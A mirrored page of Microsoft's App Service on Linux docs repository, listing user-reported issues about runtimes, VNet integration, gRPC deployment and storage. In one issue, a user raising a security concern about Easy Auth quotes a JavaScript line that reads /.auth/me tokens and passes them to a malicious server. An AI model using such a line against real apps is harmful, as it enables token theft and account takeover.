Giter Club home page Giter Club logo

azure / app-service-linux-docs Goto Github PK

View Code? Open in Web Editor NEW
132.0 27.0 75.0 70.47 MB

Azure App Service: Frequently Asked Questions on Linux App Service

License: Creative Commons Attribution 4.0 International

C# 0.03% Python 95.53% JavaScript 0.01% Starlark 0.01% C 1.37% Cython 1.47% C++ 1.14% Batchfile 0.01% Assembly 0.01% Fortran 0.06% Forth 0.01% Meson 0.01% SWIG 0.03% Jinja 0.02% Cuda 0.27% CSS 0.01% Shell 0.01% Roff 0.01% Java 0.03% Pug 0.01%

app-service-linux-docs's Introduction

App Service on Linux

Frequently Asked Questions

Runtime Support

Contributing

This project welcomes contributions and suggestions. Most contributions require you to agree to a Contributor License Agreement (CLA) declaring that you have the right to, and actually do, grant us the rights to use your contribution. For details, visit https://cla.microsoft.com.

When you submit a pull request, a CLA-bot will automatically determine whether you need to provide a CLA and decorate the PR appropriately (e.g., label, comment). Simply follow the instructions provided by the bot. You will only need to do this once across all repositories using our CLA.

This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact [email protected] with any additional questions or comments.

Legal Notices

Microsoft and any contributors grant you a license to the Microsoft documentation and other content in this repository under the Creative Commons Attribution 4.0 International Public License, see the LICENSE file, and grant you a license to any code in the repository under the MIT License, see the LICENSE-CODE file.

Microsoft, Windows, Microsoft Azure and/or other Microsoft products and services referenced in the documentation may be either trademarks or registered trademarks of Microsoft in the United States and/or other countries. The licenses for this project do not grant you rights to use any Microsoft names, logos, or trademarks. Microsoft's general trademark guidelines can be found at http://go.microsoft.com/fwlink/?LinkID=254653.

Privacy information can be found at https://privacy.microsoft.com/en-us/

Microsoft and any contributors reserve all other rights, whether under their respective copyrights, patents, or trademarks, whether by implication, estoppel or otherwise.

app-service-linux-docs's People

Contributors

birica01 avatar btardif avatar chambras avatar denifia avatar denvermb avatar dragonbe avatar ericsten-msft avatar fasigpt avatar garfinkel avatar georgeosddev avatar jeffwmartinez avatar johnwallsmsft avatar microsoft-github-policy-service[bot] avatar microsoftopensource avatar msftgits avatar ptoonen avatar rabollin avatar rapopescu16 avatar riccardod avatar seligj95 avatar stefsch avatar tulikac avatar yiliaogoog avatar yiliaomsft avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

app-service-linux-docs's Issues

App Services: Early Access: Tracking status of Application Insights?

On the .NET on App Services page, under .NET 5 Early Access limitations, it notes:

Application Insights is currently not supported for .NET 5 apps, we are working with the Application Insights team to resolve this.

My team is reluctant to update a number of App Services to ASP.NET Core 5 until this issue is resolved, since they don't include explicit implementation of Application Insights in the code. Given that, I'd like to monitor the progress of the Application Insights support for the App Services Early Access feature.

Is there an issue we can follow to stay informed of the status? If not, can we use this issue as a way of updating the community?

Linux web app service with netcore 3.0 does not support auto heal.

I'm not sure where the correct place to raise this issue is so I'll try here, if not could someone refer me to the correct project.

The issue is Windows App Service/Webapp supports auto heal. Linux web apps do not support it. What is required to get this functionality added?

Here is a screenshot demonstrating the feature that is missing.

image

No response from server Early Access .NET 5 web-api with linux runtime

Hi!

My team tried to deploy a close to "dotnet new webapi" Azure webapp by using the deployment center and wizard for github actions workflow. The deployment got green lights across the board, but the app does not respond to requests at all.

To my understanding will the "early access .NET 5" run our app in docker when we have specified ubuntu-latest.
Checking the logs in kudu I can see that the docker container has started and is "ready to serve requests".

2021-01-12T10:35:10.992Z INFO - f6bb7f26fd80 Pull complete
2021-01-12T10:35:12.205Z INFO - Digest: sha256:
2021-01-12T10:35:12.205Z INFO - Status: Downloaded newer image for mcr.microsoft.com/appsvc/dotnetcore:5.0_20201109.1
2021-01-12T10:35:12.289Z INFO - Pull Image successful, Time taken: 2 Minutes and 27 Seconds
2021-01-12T10:35:13.325Z INFO - Starting container for site
2021-01-12T10:35:13.325Z INFO - docker run -d -p 4117:8080 --name dev-XXX-api_0_394a7adf -e WEBSITE_SITE_NAME=dev-XXX-api -e WEBSITE_AUTH_ENABLED=False -e WEBSITE_ROLE_INSTANCE_ID=0 -e WEBSITE_HOSTNAME=dev-XXX-api.azurewebsites.net -e WEBSITE_INSTANCE_ID=appsvc/dotnetcore:5.0_20201109.1

2021-01-12T10:35:13.325Z INFO - Logging is not enabled for this container.
Please use https://aka.ms/linux-diagnostics to enable logging to see container logs here.
2021-01-12T10:35:27.608Z INFO - Initiating warmup request to container dev-XXX-api_0_394a7adf for site dev-XXX-api
2021-01-12T10:35:39.253Z INFO - Container dev-XXX-api_0_394a7adf for site dev-XXX-api initialized successfully and is ready to serve requests.
2021-01-12T10:54:48.711Z INFO - 5.0_20201109.1 Pulling from appsvc/dotnetcore
2021-01-12T10:54:48.712Z INFO - Digest: sha256:
2021-01-12T10:54:48.713Z INFO - Status: Image is up to date for mcr.microsoft.com/appsvc/dotnetcore:5.0_20201109.1
2021-01-12T10:54:48.719Z INFO - Pull Image successful, Time taken: 0 Minutes and 0 Seconds
2021-01-12T10:54:48.962Z INFO - Starting container for site
2021-01-12T10:54:48.962Z INFO - docker run -d -p 8432:8080 --name dev-XXX-api_1_43f6e08b -e WEBSITE_SITE_NAME=dev-XXX-api -e WEBSITE_AUTH_ENABLED=False -e WEBSITE_ROLE_INSTANCE_ID=0 -e WEBSITE_HOSTNAME=dev-XXX-api.azurewebsites.net -e WEBSITE_INSTANCE_ID= appsvc/dotnetcore:5.0_20201109.1

2021-01-12T10:54:48.963Z INFO - Logging is not enabled for this container.
Please use https://aka.ms/linux-diagnostics to enable logging to see container logs here.
2021-01-12T10:54:53.098Z INFO - Initiating warmup request to container dev-XXX-api_1_43f6e08b for site dev-XXX-api
2021-01-12T10:55:03.484Z INFO - Container dev-XXX-api_1_43f6e08b for site dev-XXX-api initialized successfully and is ready to serve requests.

The webapp seems to receive the incoming requests. We have configured application insights in startup.cs and the request are registered in AI. But all requests are responded with 404 according to AI. From the browser perspective it seems more like a request timeout.

What more can we look for to identify the problem?

Bring your own Storage Tradeoffs

Hello there,
can you elaborate on the trade-offs between mounting a storage container as outlined in "Bring Your own Storage" vs. using a scaling up the plan to a pricing tear with larger disk storage?

I'm currently mounting a container to read a 15GB file, but accessing the file from my Flask application yields timeouts and storage faults.
Best,
Lukas

Easy auth and disabling /.auth/me

I plan on using Easy Auth with a ASP.NET Core web application hosted on Azure App Service with the Linux flavor.

From my understanding Easy Auth adds a couple of endpoints to the app service:

  • /.auth/login/<provider>/callback
  • /.auth/logout
  • /.auth/me

Usually when I use OpenID Connect and OAuth 2.0 I always opt for the authorization code flow to avoid users having direct access to their tokens (id_token/access_token/refresh_token) as the backend is capable of handling this through cookies in the browser and tokens stored elsewhere away from the user.

I have enabled Easy Auth with the token stored for my application and it works as expected. My question is mainly concerned with the /.auth/me endpoint. This endpoint exposes all the tokens, along with the claims of the user. If I enable scopes for offline_access then refresh_token is also exposed here. From a security perspective this seems horrible as a simple XSS attack could read the tokens and ship them off to an attackers server.

fetch("/.auth/me").then(r => r.json()).then(sendToMaliciousServer)

My questions are:

  • Can I disable this endpoint in Easy Auth to avoid the security issue while still maintaining access to having a token store?
  • Is MSAL (or rather Microsoft.Identity.Web) dependant on this endpoint to be able to read out the access_token from the token store of Easy Auth before calling downstream services?

Will the PHP8.1 blessed image pre-install sqlsrv and pdo_sqlsrv?

Hi Team,

I have created an Azure App Service Linux PHP 8.1 app and I checked the installed extensions with php -m.

I noticed that sqlsrv and pdo_sqlsrv which were previously pre-installed in PHP8.0 image are missing. I had manually installed and in an SSH session with

su

curl https://packages.microsoft.com/config/debian/10/prod.list > /etc/apt/sources.list.d/mssql-release.list

pecl install sqlsrv

And then moved the downloaded sqlsrv.io in /home/site/ext, enabled this extension in /home/site/ini/extensions.ini and added the app setting PHP_INI_SCAN_DIR = /usr/local/etc/php/conf.d:/home/site/ini.

I would like to know if these two extensions will be pre-installed in the later updates in PHP 8.1 blessed image.

Many thanks!

Azure AppService Linux container fails to serve files from mounted file storage

Azure AppService Linux container fails to serve files from mounted file storage
A perfectly working setup suddenly started failing after redeploying the Azure resources involved:

  • Storage account with multiple file shares
  • Azure AppService on a Linux ServicePlan, hosting a Linux Docker container (phusion/baseimage:focal-1.0.0 - Apache web server/PHP 7.1.4)
  • Azure AppService, configured with Path Mappings to the various file shares on the storage account

After reprovisioning the resources (end of June 2021), we found out Apache (inside container) wasn't able to serve files from the mounted storage anymore: it returned an HTTP status 502.
It was still able to persist files to these same mounted file shares (excluding hypotheses that our mounted drives were somehow unreachable).

When accessing the container inside the AppService over SSH, basic curl commands to these same files returned "Received HTTP/0.9 when not allowed".

We escalated this issue to MS support.
The issue got fixed by applying a work-around: we had to identify an empty ResourceGroup.
That way MS could make sure internally that our AppService/ServicePlan deployment eventually landed on the proper hosting resources, resulting in proper behavior.

If we redeploy our resources as-is, without notice to MS support, we inevitably are confronted with the unwanted behavior.

Up to now (October, 2021) MS Support cannot give an ETA on a structural fix on something that used to work fine and seems pretty trivial as a usecase.

Ref.:

web app / docker-compose in a private vnet

I would like to deploy a web app with a docker-compose.
My images are stored in a private registry in a private vnet.
My web app is deploy in a private vnet.
The only log I have is : 'Failed to load container logs: Resource containerlog of type text not found'
If I try to deploy the same image with container type 'single container' I have no issue.

I asked the Azure support they told me "The docker compose is not supported with regional Vnet integration" and to open a github issue here.

Thank you.

Node v18.13.0 availability

We are currently experiencing a bug in a node application running on a Linux app service. The bug in question (nodejs/node#42694) seems to have been fixed and included in Node v18.13.0 (nodejs/node#45026).

However, the latest version available on Azure (Linux) app services is still v18.12.1. At what times are the runtimes updated to the latest LTS version available, and if so, when will 18.13.0 be available?

Framework dependent publish from VS2022 Preview 3 results in error

After upgrading to Version 17.0.0 Preview 3.0 I was unable to publish to App Service using the NET 6.0 early access setting and a Framework dependent publish profile.
The published app gives an error: HTTP Error 500.31 - ANCM Failed to Find Native Dependencies
The specified version of Microsoft.NetCore.App or Microsoft.AspNetCore.App was not found.

Before the update I did succesfully publish using this publish profile with VS2022 Preview 2?

Could it be that Azure does not support the latest .NET 6.0.0-preview.7.21377.19 version that is included in VS2022 Preview 3

How to access VM inside VNET from a Azure Linux Web App

Scenario:

  1. Azure Linux VM created inside VNET (with subnet)
  2. Oracle database created on the Linux VM
  3. Azure Linux Web App created outside the VNET

Query:
How can my Linux Web App connect to the database on VM within VNET from outside and get a result set back?
So both inbound and outbound from VNET point of view - only to the webapp.

In App Service on Linux, user and group owners of directories inside Azure Storage will be "nobody" and "nogroup"

Hello,

In App Service on Linux, if you use WEBSITES_ENABLE_APP_SERVICE_STORAGE in true or you use BYOS feature to mount an external path (both options are using Azure Storage mounted in App Service), these directories will be mounted with nobody:nogroup as directories' owners and it's not possible to change them. For example, I wanted to run GLPI Project, https://glpi-project.org/downloads/, in an App Service on Linux using BYOS and the installation requires specific owners for some directories, but I could not finish the installation because I could not change the directories' owners

Is Linux arm64 images supported in App Services?

Recently we changed our Dockerfile of our .NET 6 app to build with the arm64 runtime:

FROM mcr.microsoft.com/dotnet/aspnet:6.0-bullseye-slim-arm64v8 AS base

However, when the new image is deployed and started in its App Service container, it fails with the error:

INFO  - Initiating warmup request to container xx-main_0_edd83162 for site xx-main
ERROR - Container xx-main_0_edd83162 for site xx-main has exited, failing site start
ERROR - Container xx-main_0_edd83162 didn't respond to HTTP pings on port: 80, failing site start. See container logs for debugging.
INFO  - Stopping site xx-main because it failed during startup.
/home/LogFiles/2022_03_23_RD0003FF8D0A0F_default_docker.log  (https://xx-main.scm.azurewebsites.net/api/vfs/LogFiles/2022_03_23_RD0003FF8D0A0F_default_docker.log)
standard_init_linux.go:228: exec user process caused: exec format error

Sad to say, but the same image works in AWS ECS...

.NET 5 startup command guidance

Hello!

We are in the process of upgrading our API to .NET 5. We are able to run everything locally, but running into some issues when deploying to Azure. We specified DOTNETCORE|5.0 as the linuxFxVersion, which seems to match the UI inside the Azure Portal, but the application fails to start.

The diagnostics page of App Service shows errors related to a failed startup command, which shows that the appsvc/dotnetcore5.0 Docker image does not exist/not specified in the default startup command.

What are we doing wrong? Do we need to use dotnet publish --self-contained? If so, can think be documented?

Thank you!

Error deploying NodeJS app with Run From Package feature

Hi there,

I'm trying to deploy a NodeJS app as a zip file, I enabled all the necessary options and the zip file contains the entire app plus dependencies (i.e. node_modules), I upload the zip together with packagename.txt, all seems fine, but I receive this error message in the docker log file:

RunFromPackage> Error Invalid binding. Only alphanumeric characters and "." allowed.

Do you have any clue?

Not able to Connect to gRPC Service hosted as Azure app Service using gRPCurl Tool

I am trying to connect to the gRPC service which is hosted as Azure App Service using grpcurl, It gives the below error
Failed to dial target host "hostname:8585": context deadline exceeded.
Where As If I try the same in postman or if I create a console application by following the steps mentioned in below documentation https://learn.microsoft.com/en-us/aspnet/core/tutorials/grpc/grpc-start?view=aspnetcore-6.0&tabs=visual-studio#create-the-greeter-client I was able to connect to the service. Anyone, please let me know how to connect to the gRPC service hosted in Azure using the grpcurl tool

Release date for PHP 8.0 known?

Hi,

Is the release date for PHP 8.0 on Azure App Services known? It was released in November 2020, but it is still not available on Azure App Services.

And why no longer support it on Windows? I've been using PHP on Windows App Services since 2012!

Azure App Service built-in authentication on gRPC not working

I deployed into Azure App Service a .NET 7 sample hello gRPC API on Linux OS

public class GreeterService : Greeter.GreeterBase
{
    private readonly ILogger<GreeterService> _logger;

    public GreeterService(ILogger<GreeterService> logger)
    {
        _logger = logger;
    }

    public override Task<HelloReply> SayHello(HelloRequest request,
        ServerCallContext context)
    {
        _logger.LogInformation("Saying hello to {Name}", request.Name);
        return Task.FromResult(new HelloReply 
        {
            Message = "Hello " + request.Name
        });
    }
}

It is functioning properly and responding with the Hello greeting after I called it using Postman.

Now that I've attempted to use the built-in Authentication functionality on Azure App Service with Microsoft Identity Platform, I haven't encountered any problems using Postman to call it without authentication.

Did you realize that gRPC is compatible with Azure App Service Authentication?

This is my appsettings.json

{
  "Logging": {
    "LogLevel": {
      "Default": "Information",
      "Microsoft.AspNetCore": "Warning"
    }
  },
  "AllowedHosts": "*",
  "Kestrel": {
    "EndpointDefaults": {
      "Protocols": "Http2"
    }
  }
}

and this the Program.cs

using GrpcGreeter.Services;
using System.Reflection;

var builder = WebApplication.CreateBuilder(args);

// Additional configuration is required to successfully run gRPC on macOS.
// For instructions on how to configure Kestrel and gRPC clients on macOS, visit https://go.microsoft.com/fwlink/?linkid=2099682

// Add services to the container.
builder.Services.AddGrpc();
builder.Services.AddGrpcReflection();


var app = builder.Build();

// Configure the HTTP request pipeline.
app.MapGrpcReflectionService();
app.MapGrpcService<GreeterService>();
app.MapGet("/", () => "Communication with gRPC endpoints must be made through a gRPC client. To learn how to create a client, visit: https://go.microsoft.com/fwlink/?linkid=2086909");

app.Run();

Deployment slots use the same port bindings with regional VNet integration

It appears that when regional VNet integration is enabled, deployment slots start sharing the same port bindings. If your application creates a port binding then when a second deployment slot is started the application will no longer be able to create the port binding as the port is in use. This means that each slot has to have a different configuration in terms of what ports it listens on.

This only occurs when the VNet integration is enabled, when it is disconnected the conflict no longer occurs.

I guess this is why PORT and SSH_PORT are currently being set dynamically. Is the above limitation also going to be removed when the feature becomes generally available?

Post Deployment Script in Azure Web App for Containers

Is it possible to run a post-deploy script inside a container in Azure Web App for Containers(not the "regular" Web App with Kudu).

I have an ARM template that creates some resources, including a Web App for Containers where I use a Dockerhub image. I want to run a post-deployment script inside the container(a database migration script if that matters("bundle exec rake db:migrate" specifically)).

I can put the command into the Startup File in the Container Settings in the Azure Portal. That runs the command successfully, but it doesn't start up the container normally. So, I have to remove the Startup File migration command after it completes and then restart the Web App for it to start up normally. This is not optimal, neither is running the migration command on every startup/restart and then starting up the webserver.

This type of post-deploy script option is available in Heroku's template deployments, using the scripts object and the postdeploy key in it. See https://devcenter.heroku.com/articles/app-json-schema#scripts.

Does such a post-deploy script option exist for Azure Web App for Containers? I believe such an option exists for the regular Web Apps, but I haven't seen anything related to Web App for Containers.
If not, is there a simpler/better way to run the migrate command than what I'm currently doing?

Ruby stack is EOL soon on Azure webapps

Hello,

I have deployed an app of Ruby on Rails so the supported version of Ruby on Azure is 2.7 so it'll End of Life soon. So I want to deploy Ruby 3.x versions so what should I do? The available stack is only 2.7.

See the attached image:
image

Bring your own Storage General availability timeline

Hello Byron & team,

We have a Docker based Linux web app that use this feature to map an Azure file Storage to container. We are planning to take this application in production soon. However, current status of this feature is "public preview" and it is not supported for production use. Please can you share any likely timeline for general availability of "Bring your own Storage to App Service" feature.

Shall we go ahead with this feature or consider something different for production use for now?

Thank you.

@btardif

trouble running net6 on azure app service linux

I'm having a hard time upgrading from netcore31 to net6. The application runs fine, but when I deploy to azure I get this error in the logs:

The framework 'Microsoft.NETCore.App', version '6.0.0' was not found.
  - The following frameworks were found:
      6.0.0-preview.3.21201.4 at [/usr/share/dotnet/shared/Microsoft.NETCore.App]

as best I can tell, it looks like azure is using an old docker container to run my binaries. I can see this docker run command in the logs, reformatted for clarity and changing app-specific names to myapp:

docker run -d -p 9792:8080-p 5124:50050-p 3520:50051 \
  --name myapp_0_5ec90755 \
  -e WEBSITE_SITE_NAME=myapp \
  -e WEBSITE_AUTH_ENABLED=False \
  -e WEBSITE_ROLE_INSTANCE_ID=0 \
  -e WEBSITE_HOSTNAME=myapp.azurewebsites.net \
  -e WEBSITE_INSTANCE_ID=GUID \
  -e HTTP_LOGGING_ENABLED=1 \
  appsvc/dotnetcore:6.0_20210409.1 dotnet MyApp.dll

The appsvc/dotnetcore:6.0_20210409.1 image was published on May 12th.

I guess appsvc/dotnetcore:6.0_20210409.1 doesn't contain the release version of net6?

Workaround

I was able to get my app working by deploying as a self-contained application

- dotnet publish MyApp -c Release -o myapp
+ dotnet publish MyApp -c Release -o myapp \
+   --framework 'net6.0' -r 'linux-x64' --self-contained true

Then I changed my azure app service Configuration -> General Settings "Startup Command" from dotnet MyApp.dll to MyApp. At this point, it doesn't matter what runtime I've selected for the app service, since I'm deploying the runtime with my application.

I would greatly prefer to leave app service in charge of the runtime, and just ship as a framework-dependant application

Azure AD with Docker Image/Linux Container

I'm trying to use Azure AD with a linux container. I saw that you shouldn't be using TLS/SSL support in the apps. What I'm curious about is does that include using Azure AD. The issue that I'm running into is that I can get to https://{domain} just fine. When it needs to create the redirect_url though it creates it as **http**://{domain}/signin-oidc instead of **https**://{domain}/signin-oidc

Is this something that can be switched or done easily to be able to have the redirect_url be https? Without that, I can't use Azure AD. Now I know if I don't use containers it works just fine, but I'm just curious as I've done a bunch of researching and either I'm missing something or this cannot be easily done.

Thanks!

Q: Docker-based Func App unable to connect with servers in VNet

I'm trying to make a serverless Function App to connect to a server in my VNet.

I've created a Function App based on a custom docker image as per this tutorial.

Then I connected that Function App to a VNet, where I have a VM running an application with a REST API.

In the Function App I had function that used Python requests package to connect to that VM. The code worked in my local testing, but returned me "Connection refused" error when I ran the function in the cloud.

I've read the bit on PORT variable, but it seems to be not applicable in my case, because my docker app acts as a client in this case. Is there any other troubleshooting I can do, or this setup is just not supported?

Drupal 9 on Azure Linux App Service - running Drush commands

Scenario:

  • Azure Linux App Service Plan B1
  • Dev & Prod App Service (Kudu container)
  • Drupal 9 application code
  • Azure DevOps CI/CD (composer installs drush)
  • MySQL hosted on Azure VM

Drupal 9 website running just fine on Azure app service with AzDO deploying code to Dev and prod app services OK.

On local machine Drush is used for command line updates (clear cache, update DB and config import/export)

When deploying to the App Services Drush does not work, as the command is not found, it is deployed to the vendor folder

This means the browser has to be used for all related commands which is manual, slow and prone to error.

Can Drush can be installed and enabled on the App Service Kudu Container? this will complete the CI/CD automation.

There doesn't seem to be alot on this topic:

https://sunithamk.wordpress.com/2014/04/01/drupal-running-drush-on-windows-azure-websites/

https://omgdebugging.com/2019/01/23/running-commands-inside-actual-web-container-in-azure-web-app-for-containers/

image

root@298f2cb17543:/home/site/wwwroot/vendor/drush/drush# drush status
-bash: drush: command not found

image

VNet integration documentation is incomplete

Currently the documentation states that the PORT environment variable should only be used in case a (custom) Docker image is deployed in App Service on Linux. Because all code-based applications also run in a container under the hood, this applies for everything and not just (custom) container based App Service instances.

I'll be proposing a change in the documentation in PR in a few minutes.

App service node version is outdated


/ /// _ / / __/ / () /__
/ ,< / / / / __ / / / / / / / / _
/ /| / // / // / // / /
/ / // __/
/
/ |_,/_,/_,/_____//__/___/

DEBUG CONSOLE | AZURE APP SERVICE ON LINUX

Documentation: http://aka.ms/webapp-linux
Kudu Version : 1.0.0.7
Commit : 84851f24eb63e3f59394d504e949b985cfdf43ac

kudu_ssh_user@f79a67423a6b:/$ node -v
v10.22.0

How to upgrade ? The docker container runs on 16-lts. However the instance runs on 10.22 and is configured to build after deploy. This causes issues during the deployment.

App-service with docker erratic behaviour of registry.

Hi, I've tried to find a place to post this issue but to no avail, and this is the closest I can find in terms of a public issue tracker for Azure App-service.

Using a Linux Azure App-service with a Azure container registry in another subscription breaks the container settings. Sometimes the App-service thinks our azure container registry is a "Azure container registry" (settings tab), and thereby fails on pull, sometimes it thinks that the same url is a docker hub registry(settings tab). But it never chooses the private registry(settings tab) that I know is what works. Both according to the portal tooltip but we also have it working int another app (with the same settings!).

Please either improve error messages or preferably, make the app service handle this better.

Regards.

Command to configure web app to pull image:tag not working as expected (in how to use system MI doc)

The following refers to the doc: https://github.com/Azure/app-service-linux-docs/blob/master/HowTo/use_system-assigned_managed_identities.md.

After running through the setup for using system managed identities with a linux web app, I noticed that the step that configures the web app to pull the image:tag was not working for me. After running that command with my image and tag specified, the portal always showed "myapp" and "latest" as the repo and tag. The same is reflected in the logs.

More specifically, the following line does not seem to work as intended:

#Configure the ACR, Image and Tag to pull
az resource update --ids $Webapp_Config --set properties.linuxFxVersion=$FX_Version -o none --force-string

Example error I am seeing in logs:
image

I am able to get the flow working if instead use the following command. The Azure CLI does still output a warning message saying that admin needs to be enabled for ACR. However, I have not enabled admin and it works despite the warning.

# configure the web app to pull the above image name + tag from ACR
# you can ignore the error that says to enable admin on acr
az webapp config container set -n $Web_Name -g $RG_Name \
-i ${ACR_URL}/${Image} \
-r $ACR_URL

Python 3.10 in Public Preview

| Version | Support Status | End of Official Support | OS Support |
|------------| ---------------- |:------------------------:|:---------------:|
| Python 3.9 | Early Access | October 05, 2025 | Linux |
| Python 3.8 | Official Support | October 14, 2024 | Linux |
| Python 3.7 | Official Support | June 27, 2023 | Linux |
| Python 3.6 | Official Support | December 23, 2021 | Windows & Linux |
| Python 2.x | Official Support | January 01, 2020 | Windows & Linux |

Azure App Service doesn't start

I am using a Linux App Service, deploying a gRPC app, and it seems to never start. I followed all steps in the tutorial, and when looking at Log Stream for the app, I see

2023-01-15T12:37:21.967Z ERROR - Container <SITE_NAME>_0_0425d143_middleware for site <SITE_NAME> did not start within expected time limit. Elapsed time = 230.2349212 sec
2023-01-15T12:37:21.979Z ERROR - Container <SITE_NAME>_0_0425d143_middleware didn't respond to HTTP pings on port: 8181, failing site start. See container logs for debugging.
2023-01-15T12:37:22.008Z INFO  - Stopping site <SITE_NAME> because it failed during startup.

My App Service however shows a status of Running.

Code used in Program.cs is

builder.WebHost.ConfigureKestrel(options =>
    {
        options.ListenAnyIP(8080);
        options.ListenAnyIP(8585, listenOptions =>
        {
            listenOptions.Protocols = HttpProtocols.Http2;
        });
    });

And I have the configuration setting for HTTP 2.0 set
image
image

If I call my gRPC server from a client, I get a 403 error.

Is there something I'm missing, do I need to expose something on port 8181 to tell the container to start? (I am using Octopus Deploy for deployment, which I believe uses Zip Deploy, so the container is the Azure App Service, nothing to do with me)

Thanks!

Web App for Containers - Linux Ver - Disappearing VNET Integration Option

Issue: When configuring VNET integration on a Web App for Containers, Linux version, and selecting a given subnet, the VNET ingration screen disappears from the networking blade. Sometimes it takes a few minutes for it to disappear, sometimes not. Also. there seems to be no error handler when multiple apps are configured to use the same delegated subnet, which the documentation says should be a one-to-one relationship.

Local host name is not resolved when Vnet integration is enabled

Scenario: Running a docker version of Squidex in a Linux container on an App Service. Works fine without vnet integration. Squidex is built on .NET Core 3.0
When vnet integration is enabled, the app does not start.

Issue: the following code breaks:

var host = Dns.GetHostName();
// host is now e.g. b6737257279f
Dns.GetHostAddressesAsync(Dns.GetHostName())

This results in an exception "Name or service not known".

The same code works fine when vnet integration is disabled, it e.g. returns: 172.16.58.3

App Service Linux Containers VNET Integration cannot connect to ACR with Private Endpoint

Hi,

Is it possible to pull images from Azure Container registry that has private endpoint enabled and public network access disabled?
This is coming from an App Service Linux container with VNET Integration enabled.

I can resolve the private endpoint IP of the container registry from Kudu.
I'm currently getting the following error when disabling public network access from ACR
ERROR - DockerApiException: Docker API responded with status code=InternalServerError, response={"message":"denied"}
It works if I enable public network access.

Thanks!

Unable to update app to target different version of Node via az cli

az cli command to update target to a different version of Node is not behaving as expected:
https://github.com/Azure/app-service-linux-docs/blob/master/Runtime_Support/node_support.md#node-on-linux-app-service

Utilizing the UI to set app config Node version to 16 LTS
image
az webapp config shows "NODE|16-lts":
image

When trying to set the node version "NODE|16-lts" via az cli command results in error - I assume because the pipe | is being interpreted incorrectly
image

Utilizing format returned via az webapp list-runtimes "NODE:16-lts" succeeds,
image

however UI now shows incorrect config and app service is non-functional:
image

az version and console log:
image

Deploy gRPC app on App Service with Rest api endpoint

I have been following How-to deploy a .NET 6 gRPC app on App Service

When I add this to my project it breaks everything else in the project, swagger wont even load anymore let alone all of the other rest api endpoints, everything is returning connection refused.

builder.WebHost.ConfigureKestrel(options => 
{ 
    options.ListenAnyIP(8080); 
    options.ListenAnyIP(8585, listenOptions => 
    { 
        listenOptions.Protocols = Microsoft.AspNetCore.Server.Kestrel.Core.HttpProtocols.Http2; 
    }); 
});

Is it possible to mix gRPC and rest api end points in the same project?

Stackoverflow: Mixing Rest api endpoints with grpc on azure app services in the same project. ECONNREFUSED
Issue forum: Deploy gRPC app on App Service with Rest api endpoint
Microsofft: deploy a .NET 6 gRPC app on App Service -Error starting gRPC call

VNet integration feature not available in My Web Apps for container

Senario:
I am running a custom container app on Web Apps for Container.
I want to use this Web Apps to communicate with virtual machines on VNet by using the VNet integration function.

Issue:
When I try to configure App Service Plan Networking in the Azure portal, it is grayed out and cannot be configured.
The following message will be displayed on the screen.

This feature is not supported for your current plan.

My App Service Plan is Standard plan.

I tried the following, but they are all in the same state.

  • Upgrade to PremiumV2
  • Create a new Premium V2 App Service Plan

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.